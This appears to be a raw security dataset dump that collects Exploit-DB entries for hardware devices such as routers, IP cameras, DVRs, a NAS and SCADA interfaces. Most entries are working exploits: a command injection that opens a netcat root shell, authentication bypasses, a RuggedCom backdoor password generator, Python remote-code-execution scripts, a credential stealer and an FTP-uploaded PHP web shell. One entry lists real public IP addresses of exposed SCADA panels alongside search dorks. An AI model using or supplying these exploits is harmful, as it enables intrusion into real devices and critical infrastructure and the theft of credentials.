deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24892
Description: Rosewill RSVA11001 - Remote Command Injection
Type: remote
Platform: hardware
Date: 2013-03-26
Author: Eric Urban

Exploit:
I have been hacking on a Rosewill RSVA11001 for a while now, something to
suck up my free time. I had pulled apart the firmware previously but did
not succeed in finding a way to get a shell on the device. The box is
Hi3515 based, I found an exploit for another similar box (Ray Sharp) but it
did not work. The Rosewill firmware seems to use an executable that listens
on two ports rather one when communicating with the Windows-based control
software. Port 8000 is now the command port rather 9000, 9000 is used for
video only. After playing with the included Windows application I
eventually did a strings on the 'hi_dvr' exectuable that is the user space
program that controls the interface to thing. I found this gem:

/mnt/ntpdate -q %s > /tmp/tmpfs/ntptmp

So I used the windows software to set the NTP host to

a;/usr/bin/nc -l -p 5555 -e /bin/sh&

Next I power cycled the box and a root shell was waiting a minute later on
the port. By default it runs this command on startup and once a day. So if
the exploit is remote-only there will be a delay period. Of course, the
'authentication' done on the command port is just a charade to the user as
previously described in other exploits. You only need to replay the packets
from my capture session to pull this exploit off.

The box is not very interesting once you are in. It's a linux 2.6.24 kernel
with RT patches and busy box user space. I don't have access to the SDK for
Hi3515 (different than Hi3511). The kernel modules for Video Input, Video
Output, Audio Output, H264 encoding etc are there but in binary only (non
stripped) form.

To set the NTP host to the request to replay to port 8000 tcp is:

UkVNT1RFIEhJX1NSREtfVElNRV9TZXRUaW1lU2V0QXR0ciBNQ1RQLzEuMA0KQ1NlcTo2Ng0KQWNj
ZXB0OnRleHQvSERQDQpDb250ZW50LVR5cGU6dGV4dC9IRFANCkZ1bmMtVmVyc2lvbjoweDEwDQpD
b250ZW50LUxlbmd0aDoxMjQNCg0KU2VnbWVudC1OdW06MQ0KU2VnbWVudC1TZXE6MQ0KRGF0YS1M
ZW5ndGg6NzYNCg0KAQAGAWE7L3Vzci9iaW4vbmMgLWwgLXAgNTU1NSAtZSAvYmluL3NoAA4jAQBA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

The second request to the same port causes the device to save its flash
memory:

UkVNT1RFIEhJX1NSREtfREVWX1NhdmVGbGFzaCBNQ1RQLzEuMA0KQ1NlcTo0MQ0KQWNjZXB0OnRl
eHQvSERQDQpDb250ZW50LVR5cGU6dGV4dC9IRFANCkZ1bmMtVmVyc2lvbjoweDEwDQpDb250ZW50
LUxlbmd0aDoxNQ0KDQpTZWdtZW50LU51bTowDQo=

The Rosewill RSVA12001 is the same unit with different supplied cameras and
should have the same vulnerability.
Exploit-DB #51138
Description: Router ZTE-H108NS - Authentication Bypass
Type: remote
Platform: hardware
Date: 2023-03-30
Author: George Tsimpidas

Exploit:
# Exploit Title: Router ZTE-H108NS - Authentication Bypass
# Date: 19-11-2022
# Exploit Author: George Tsimpidas 
# Vendor: https://www.zte.com.cn/global/
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# CVE: N/A 
# Tested on: Debian 5.18.5

Description :

When specific http methods are listed within a security constraint,
then only those
methods are protected. Router ZTE-H108NS defines the following http
methods: GET, POST, and HEAD. HEAD method seems to fall under a flawed
operation which allows the HEAD to be implemented correctly with every
Response Status Code.


Proof Of Concept :

Below request bypasses successfully the Basic Authentication, and
grants access to the Administration Panel of the Router.


HEAD /cgi-bin/tools_admin.asp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSIONID=1cd6bb77
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Exploit-DB #18779
Description: RuggedCom Devices - Backdoor Access
Type: remote
Platform: hardware
Date: 2012-04-24
Author: jc

Exploit:
Title: Undocumented Backdoor Access to RuggedCom Devices
Author: jc
Organization: JC CREW
Date: April 23, 2012
CVE: CVE-2012-1803

Background:
RuggedCom is one of a handful of networking vendors who capitalize on
the market for "Industrial Strength" and "Hardened" networking
equipment. You'll find their gear installed in traffic control
systems, railroad communications systems, power plants, electrical
substations, and even US military sites. Beyond simple L2 and L3
networking these devices are also used for serial-to-ip converstion in
SCADA systems and they even support modbus and dnp3. RuggedCom
published a handy guide to some of their larger customers at
www.ruggedcom.com/about/customers/. My favorite quote is from a
contractor who installed RuggedCom equipment at a US Air Force base:
"Reliability was not an option." How unfortunately apropos.

Problem:
An undocumented backdoor account exists within all released versions
of RuggedCom's Rugged Operating System (ROS®). The username for the
account, which cannot be disabled, is "factory" and its password is
dynamically generated based on the device's MAC address. Multiple
attempts have been made in the past 12 months to have this backdoor
removed and customers notified.

Exploit:
#!/usr/bin/perl
if (! defined $ARGV[0]) {
print "+========================================== \n";
print "+ RuggedCom ROS Backdoor Password Generator \n";
print "+ JC CREW April 23 2012 \n";
print "+ Usage:\n$0 macaddress \n";
print "+========================================== \n";
exit; }
$a = $ARGV[0];
$a =~ s/[^A-F0-9]+//simg;
@b = reverse split /(\S{2})/,$a;
$c = join "", @b;
$c .= "0000";
$d = hex($c) % 999999929;
print "$d\n";

Example usage:
Given a RuggedCom device with MAC address 00-0A-DC-00-00-00, run some
perl and learn that the password for "factory" is 60644375.

[jc (at) pig (dot) aids [email concealed] ros]$ ./ruggedfail.pl 00-0A-DC-00-00-00
60644375
[jc (at) pig (dot) aids [email concealed] ros]$

Shoutouts:
CERT/CC for doing great work in trying to get vendors to actually fix things.
JC CREW

Timeline:
Apr 2011 - Vendor notified directly
Jul 2011 - Vendor verbally acknowledges knowledge of backdoor,
and ceases communication.
Feb 11 2012 - US-CERT notified
Mar 12 2012 - Vendor responds to US-CERT.
Apr 06 2012 - Due to lack of further contact by vendor, CERT sets
public disclosure for April 13 2012
Apr 10 2012 - Vendor states they need another three weeks to alert
their customers, but not fix the vulnerability.
Apr 11 2012 - Clarification requested regarding need for additional three weeks.
Apr 23 2012 - No response from vendor.
Apr 23 2012 - This disclosure.

Keywords:
RuggedCom
ROS
RuggedSwitch
RuggedServer
backdoor
Exploit-DB #50930
Description: Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)
Type: remote
Platform: hardware
Date: 2022-05-11
Author: Minh Khoa

Exploit:
# Exploit Title: Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)
# Google Dork: None
# Date: November 1, 2021
# Exploit Author: Minh Khoa of VSEC
# Vendor Homepage: https://ruijienetworks.com
# Software Link: https://www.ruijienetworks.com/resources/products/1896-1900
# Version: ReyeeOS 1.55.1915 - EW_3.0(1)B11P35 and EW_3.0(1)B11P55
# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO
# CVE: CVE-2021-43164

#!/usr/bin/python3

import os
import sys
import time
import requests
import json

def enc(PASS):
    key   = "RjYkhwzx$2018!"
    shell = "echo '{}' | openssl enc -aes-256-cbc -a -k '{}' -md md5 2>/dev/null".format(PASS, key)
    return os.popen(shell).read().strip()

try:
    TARGET  = sys.argv[1]
    USER    = sys.argv[2]
    PASS    = sys.argv[3]
    COMMAND = sys.argv[4]
except Exception:
    print("CVE-2021-43164 PoC")
    print("Usage:   python3 exploit.py <target> <user> <pass> <command>")
    print("Example: python3 exploit.py 192.168.110.1 admin password 'touch /tmp/pwned'")
    sys.exit(1)

endpoint = "http://{}/cgi-bin/luci/api/auth".format(TARGET)
payload = {
        "method": "login",
        "params": {
            "username": USER,
            "password": enc(PASS),
            "encry": True,
            "time": int(time.time()),
            "limit": False
            }
        }

r = requests.post(endpoint, json=payload)
sid = json.loads(r.text)["data"]["sid"]

endpoint = "http://{}/cgi-bin/luci/api/wireless?auth={}".format(TARGET, sid)
payload = {
        "method": "updateVersion",
        "params": {
            "jsonparam": "'; {} #".format(COMMAND)
            }
        }

r = requests.post(endpoint, json=payload)
print(r.text)
Exploit-DB #51888
Description: Ruijie Switch PSG-5124 26293 - Remote Code Execution (RCE)
Type: remote
Platform: hardware
Date: 2024-03-14
Author: ByteHunter

Exploit:
#- Exploit Title: Ruijie Switch PSG-5124 26293 - Remote Code Execution (RCE)
#- Shodan Dork: http.html_hash:[PII_REDACTED]
#- Fofa Dork: body="img/free_login_ge.gif" && body="./img/login_bg.gif"
#- Exploit Author: ByteHunter
#- Email: 0xByteHunter@proton.me
#- Version: PSG-5124(LINK SOFTWARE RELEASE:26293)
#- Tested on: PSG-5124(LINK SOFTWARE RELEASE:26293)

import http.client
import argparse

def send_request(ip, port, command):
    headers = {
        "Host": f"{ip}:{port}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "DNT": "1",
        "Connection": "close",
        "Upgrade-Insecure-Requests": "1",
        "Cmdnum": "1",
        "Confirm1": "n",
        "Content-Length": "0",
        "Command1": command
    }

    try:
        connection = http.client.HTTPConnection(f"{ip}:{port}")
        connection.request("GET", "/EXCU_SHELL", headers=headers)
        response = connection.getresponse()

        
        print(f"Status Code: {response.status}")
        print(response.read().decode('utf-8'))
        connection.close()

    except Exception as e:
        print(f"Request failed: {e}")

if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='proof of concept for ruijie Switches RCE')
    parser.add_argument('--ip', help='Target IP address', required=True)
    parser.add_argument('--port', help='Port', required=True)
    parser.add_argument('--cmd', help='Command', required=True)
    args = parser.parse_args()


    ip = args.ip
    port = args.port
    command = args.cmd


    send_request(ip, port, command)
Exploit-DB #35800
Description: RXS-3211 IP Camera - UDP Packet Password Information Disclosure
Type: remote
Platform: hardware
Date: 2011-05-25
Author: Spare Clock Cycles

Exploit:
source: https://www.securityfocus.com/bid/47976/info

The RXS-3211 IP camera is prone to an information-disclosure vulnerability.

Successful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. 

the following proof of concept is available:

\xff\xff\xff\xff\xff\xff\x00\x06\xff\xf9
Exploit-DB #35997
Description: Sagem F@st 3304 Routers - PPPoE Credentials Information Disclosure
Type: remote
Platform: hardware
Date: 2011-07-27
Author: securititracker

Exploit:
source: https://www.securityfocus.com/bid/48908/info

Sagem F@st 3304 router is prone to a remote information-disclosure vulnerability because it fails to restrict access to sensitive information.

A remote attacker exploit this issue to obtain sensitive information, possibly aiding in further attacks. 

#!/bin/bash
#########################################
# Exploit Title: Sagem 3304 Routers Get PPPOE Password
# Date 27/07/2011
# Author: securititracker@gmail.com
# Software Link: null
# Version: Sagem Routers F@st 3304
# Tested on: Sagem F@ST 3304
#
#########################################


Usage()
{
        echo "Usage : $0 IP_ADDRESS"
}
if [ "$1" != "" ]
then
        IP_ADDRESS="$1"
else
        Usage
        exit 1
fi

USER_NAME=`wget http://$IP_ADDRESS/quickconfname_ADSL.html  -t 1 -q -O -  | grep "msg051" | tr " " "\n"  | grep value | tr -d \\ |tr -d "\"" | awk -F= '{print($2)}' `

USER_PASSWORD=`wget http://$IP_ADDRESS/quickconfname_ADSL.html  -t 1 -q -O -  | grep "msg051" | tr " " "\n"  | grep value | tr -d \\ |tr -d "\"" | awk -F= '{print($2)}' `

echo "Username = $USER_NAME  ; Passsword = $USER_PASSWORD"
Exploit-DB #40235
Description: Samsung Smart Home Camera SNH-P-6410 - Command Injection
Type: remote
Platform: hardware
Date: 2016-08-14
Author: PentestPartners

Exploit:
# E-DB Note: source ~ https://www.pentestpartners.com/blog/samsungs-smart-camera-a-tale-of-iot-network-security/

import urllib, urllib2, crypt, time

# New password for web interface
web_password  	= 'admin'
# New password for root
root_password	= 'root'
# IP of the camera
ip 	      	= '192.168.12.61'

# These are all for the Smartthings bundled camera
realm = 'iPolis'
web_username = 'admin'
base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;'


# Take a command and use command injection to run it on the device
def run_command(command):
	# Convert a normal command into one using bash brace expansion
	# Can't send spaces to debugcgi as it doesn't unescape
	command_brace = '{' + ','.join(command.split(' ')) + '}'
	command_url = base_url + command_brace

	# HTTP digest auth for urllib2
	authhandler = urllib2.HTTPDigestAuthHandler()
	authhandler.add_password(realm, command_url, web_username, web_password)
	opener = urllib2.build_opener(authhandler)
	urllib2.install_opener(opener)

	return urllib2.urlopen(command_url)

# Step 1 - change the web password using the unauthed vuln found by zenofex
data = urllib.urlencode({ 'data' : 'NEW;' + web_password })
urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data)

# Need to sleep or the password isn't changed
time.sleep(1)

# Step 2 - find the current root password hash
shadow = run_command('cat /etc/shadow')

for line in shadow:
	if line.startswith('root:'):
		current_hash = line.split(':')[1]

# Crypt the new password
new_hash = crypt.crypt(root_password, '00')

# Step 3 - Use sed to search and replace the old for new hash in the passwd
# This is done because the command injection doesn't allow a lot of different URL encoded chars
run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow')

# Step 4 - check that the password has changed
shadow = run_command('cat /etc/shadow')

for line in shadow:
	if line.startswith('root:'):
		current_hash = line.split(':')[1]

if current_hash <> new_hash:
	print 'Error! - password not changed'

# Step 5 - ssh to port 1022 with new root password!
Exploit-DB #47031
Description: SAPIDO RB-1732 - Remote Command Execution
Type: remote
Platform: hardware
Date: 2019-06-25
Author: k1nm3n.aotoi

Exploit:
# Exploit Title: SAPIDO RB-1732 command line execution
# Date: 2019-6-24
# Exploit Author: k1nm3n.aotoi
# Vendor Homepage: http://www.sapido.com.tw/
# Software Link: http://www.sapido.com.tw/CH/data/Download/firmware/rb1732/tc/RB-1732_TC_v2.0.43.bin
# Version: RB-1732 V2.0.43 
# Tested on: linux

 
import requests
import sys
 
def test_httpcommand(ip, command):
   my_data = {'sysCmd': command, 'apply': 'Apply', 'submit-url':'/syscmd.asp', 'msg':''}
   r = requests.post('http://%s/goform/formSysCmd' % ip, data = my_data)
   content = r.text
   content = content[
     content.find('<textarea rows="15" name="msg" cols="80" wrap="virtual">')+56:
     content.rfind('</textarea>')]
   return content
 
print test_httpcommand(sys.argv[1], " ".join(sys.argv[2:]))
Exploit-DB #51320
Description: Schneider Electric v1.0 - Directory traversal & Broken Authentication
Type: remote
Platform: hardware
Date: 2023-04-07
Author: Parsa Rezaie Khiabanloo

Exploit:
# Exploit Title: Schneider Electric v1.0 - Directory traversal & Broken Authentication 
# Google Dork: inurl:/scada-vis 
# Date: 3/11/2023
# Exploit Author: parsa rezaie khiabanloo
# Vendor Homepage: https://www.se.com/
# Version: all-versions
# Tested on: Windows/Linux/Android

# Attacker can using these dorks and access to the panel without password

inurl:/cgi-bin/scada-vis/

inurl:/scada-vis/schedulers

inurl:/cgi-bin/scada-vis/index.cgi

inurl:/scada-vis 

inurl:/cgi-bin/scada-vis/touch.html

POC :

http://185.73.103.144:8080/cgi-bin/scada-vis/index.cgi

http://185.73.103.38:8080/cgi-bin/scada-vis/touch.html

http://88.213.153.98/cgi-bin/scada-vis/schedulers.cgi


# Attacker can these this dork for bruteforce the panel 

inurl:/scada-vis/pin?return=index

POC : 

http://143.176.129.1/scada-vis/pin?return=index

http://62.163.74.206/scada-vis/pin?return=touch
Exploit-DB #51460
Description: Screen SFT DAB 600/C - Unauthenticated Information Disclosure (userManager.cgx)
Type: remote
Platform: hardware
Date: 2023-05-23
Author: LiquidWorm

Exploit:
# Exploit Title: Screen SFT DAB 600/C - Unauthenticated Information Disclosure (userManager.cgx)
# Exploit Author: LiquidWorm

Vendor: DB Elettronica Telecomunicazioni SpA
Product web page: https://www.screen.it | https://www.dbbroadcast.com
                  https://www.dbbroadcast.com/products/radio/sft-dab-series-compact-air/
Affected version: Firmware: 1.9.3
                  Bios firmware: 7.1 (Apr 19 2021)
                  Gui: 2.46
                  FPGA: 169.55
                  uc: 6.15

Summary: Screen's new radio DAB Transmitter is reaching the highest
technology level in both Digital Signal Processing and RF domain.
SFT DAB Series - Compact Radio DAB Transmitter - Air. Thanks to the
digital adaptive precorrection and configuatio flexibility, the Hot
Swap System technology, the compactness and the smart system design,
the SFT DAB are advanced transmitters. They support standards DAB,
DAB+ and T-DMB and are compatible with major headend brands.

Desc: Screen is affected by an information disclosure vulnerability
due to improper access control enforcement. An unauthenticated remote
attacker can exploit this, via a specially crafted request to gain
access to sensitive information including usernames and source IP
addresses.

Tested on: Keil-EWEB/2.1
           MontaVista® Linux® Carrier Grade eXpress (CGX)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5776
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5776.php


19.03.2023

--


$ curl 'http://SFTDAB/system/api/userManager.cgx'
{"ssbtType":"userManager","ssbtIdx":0,"ssbtObj":{"admin":false,"users":[{"user":"testingus","type":"GUEST","connected":false,"info":null},{"user":"joxy","type":"OPERATOR","connected":false,"info":null},{"user":"dude","type":"OPERATOR","connected":true,"info":{"ip":"192.168.178.150","tmo":120}}]}}
Exploit-DB #50936
Description: SDT-CW3B1 1.1.0 - OS Command Injection
Type: remote
Platform: hardware
Date: 2022-05-17
Author: Ahmed Alroky

Exploit:
# Exploit Title: SDT-CW3B1 1.1.0 - OS command injection
# Date: 2022-05-12
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# CVE : CVE-2021-46422

# Tested on: Windows

# HTTP Request
GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id HTTP/1.1
Host: IP_HERE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: */*
Referer: http:// IP_HERE /admin/system_command.shtml
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Exploit-DB #37184
Description: Seagate Central 2014.0410.0026-F - Remote Command Execution
Type: remote
Platform: hardware
Date: 2015-06-03
Author: Jeremy Brown

Exploit:
#!/usr/bin/python
# seagate_ftp_remote_root.py
#
# Seagate Central Remote Root Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# May 2015
#
# -Synopsis-
#
# Seagate Central by default has a passwordless root account (and no option to change it).
# One way to exploit this is to log into it's ftp server and upload a php shell to the webroot.
# From there, we can execute commands with root privileges as lighttpd is also running as root.
#
# -Fixes-
#
# Seagate scheduled it's updates to go live on April 28th, 2015.
#
# Tested Firmware Version: 2014.0410.0026-F
#

import sys
from ftplib import FTP

port = 21

php_shell = """
<?php
if(isset($_REQUEST['cmd']))
{
    $cmd = ($_REQUEST["cmd"]);
    echo "<pre>$cmd</pre>";
    system($cmd);
}
?>
"""

php_shell_filename = "shell.php"
seagate_central_webroot = "/cirrus/"

def main():
    if(len(sys.argv) < 2):
        print("Usage: %s <host>" % sys.argv[0])
        return

    host = sys.argv[1]

    try:
        with open(php_shell_filename, 'w') as file:
            file.write(php_shell)

    except Exception as error:
        print("Error: %s" % error);
        return

    try:
        ftp = FTP(host)
        ftp.login("root")
        ftp.storbinary("STOR " + seagate_central_webroot + php_shell_filename, open(php_shell_filename, 'rb'))
        ftp.close()
    
    except Exception as error:
        print("Error: %s" % error);
        return

    print("Now surf on over to http://%s%s%s for the php root shell" % (host, seagate_central_webroot, php_shell_filename))

    return

if __name__ == "__main__":
    main()